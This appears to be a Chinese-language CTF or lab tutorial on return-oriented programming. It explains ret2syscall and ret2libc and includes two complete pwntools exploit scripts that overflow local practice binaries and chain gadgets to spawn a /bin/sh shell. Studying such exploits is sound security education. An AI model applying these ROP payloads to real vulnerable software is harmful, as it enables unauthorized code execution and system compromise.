Return Oriented Programming

Return Oriented Programming

ret2syscall

对于我们来说，想要执行的是这一段代码，如果文件是静态编译的话，就可以直接在ida里寻找我们想构造的execve函数的汇编地址

但是我们想要构造一条完整的攻击链，从而拼凑成上述代码

我们就可以找关于pop ret的汇编地址，从而可以循环调用（0x80是执行的意思，0xb是类似于标志，表示指向execve函数）

因为是系统调用，所以篡改栈帧上自返回地址开始的一段区域为一系列 gadget 的地址，最终调用目标系统调用

寻找可用链

找到int 0x80的地址


编写exp：

from pwn import *
io = process("./ret2syscall")

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret=0x0806eb90
int_80h=0x08049421
bin_sh = 0x080BE408

payload=flat([b'A'*112,pop_eax_ret,0xb,pop_edx_ecx_ebx_ret,0,0,bin_sh,int_80h])

io.sendline(payload)
io.interactive()

ret2libc

调用system函数动态链接的过程

篡改栈帧上自返回地址开始的一段区域为一系列 gadget 的地址，最终调用 libc 中的函数获取 shell

在程序中，虽然调用了system函数，但是参数固定了，没有什么用，但是既然调用了，而且是动态加载的程序，那么程序就会在libc里加载函数，就会遵循动态链接调用的规则，去plt镜像表中找地址，所以我们构造rop链子，直接放入system的plt地址就行了。

要注意的是，我们要构造函数的地址，所以参数应该比函数地址多（如果是32位程序）4个字节的距离，因为在调用函数的时候，函数自身会执行push ebp

在pwntools工具中elf.plt["system"]可以直接寻找文件plt表中system的表象地址，elf.search(b'/bin/sh')来寻找参数地址

next（）用来表示索引。

exp：

from pwn import *
io = process("./ret2libc1")


elf = ELF("./ret2libc1")
system_plt = elf.plt["system"]


bin_sh=next(elf.search(b'/bin/sh'))

payload = b'A'*112 +p32(system_plt)+b'BBBB'+p32(bin_sh)

io.send(payload)
io.interactive()